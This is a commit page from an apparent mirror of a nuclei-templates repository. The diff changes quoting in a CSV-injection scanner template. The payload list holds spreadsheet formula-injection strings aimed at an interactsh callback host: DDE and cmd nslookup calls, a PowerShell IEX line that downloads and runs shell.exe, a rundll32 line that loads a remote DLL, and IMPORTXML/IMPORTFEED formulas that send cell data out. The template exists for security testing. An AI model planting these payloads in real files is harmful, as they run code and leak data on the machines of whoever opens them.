daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

minor update

patch-4
Dhiyaneshwaran 2024-07-02 09:44:48 +05:30 committed by GitHub
parent a19f7f1a96
commit 574b157bf2
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 6 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

12
dast/vulnerabilities/csv-injection.yaml
View File

@ -16,13 +16,13 @@ http:
payloads:
csv_fuzz:
- 'class.module.classLoader.resources.context.configFile=http://{{interactsh-url}}'
- "class.module.classLoader.resources.context.configFile=http://{{interactsh-url}}"
- 'DDE ("cmd";"/C nslookup{{interactsh-url}}";"!A0")A0'
- '@SUM(1+9)*cmd|' /C nslookup{{interactsh-url}}'!A0'
- '=10+20+cmd|' /C nslookup{{interactsh-url}}'!A0'
- '=cmd|' /C nslookup{{interactsh-url}}'!'A1''
- '=cmd|'/C powershell IEX(wget{{interactsh-url}}/shell.exe)'!A0'
- '=cmd|'/c rundll32.exe \\{{interactsh-url}}\3\2\1.dll,0'!_xlbgnm.A1'
- "@SUM(1+9)*cmd|' /C nslookup{{interactsh-url}}'!A0"
- "=10+20+cmd|' /C nslookup{{interactsh-url}}'!A0"
- "=cmd|' /C nslookup{{interactsh-url}}'!'A1'"
- "=cmd|'/C powershell IEX(wget{{interactsh-url}}/shell.exe)'!A0"
- "=cmd|'/c rundll32.exe \\{{interactsh-url}}\3\2\1.dll,0'!_xlbgnm.A1"
- '=IMPORTXML(CONCAT("http://{{interactsh-url}}", CONCATENATE(A2:E2)), "//a/a10")'
- '=IMPORTFEED(CONCAT("http://{{interactsh-url}}/123.txt?v=", CONCATENATE(A2:E2)))'
- '=IMPORTHTML (CONCAT("http://{{interactsh-url}}/123.txt?v=", CONCATENATE(A2:E2)),"table",1)'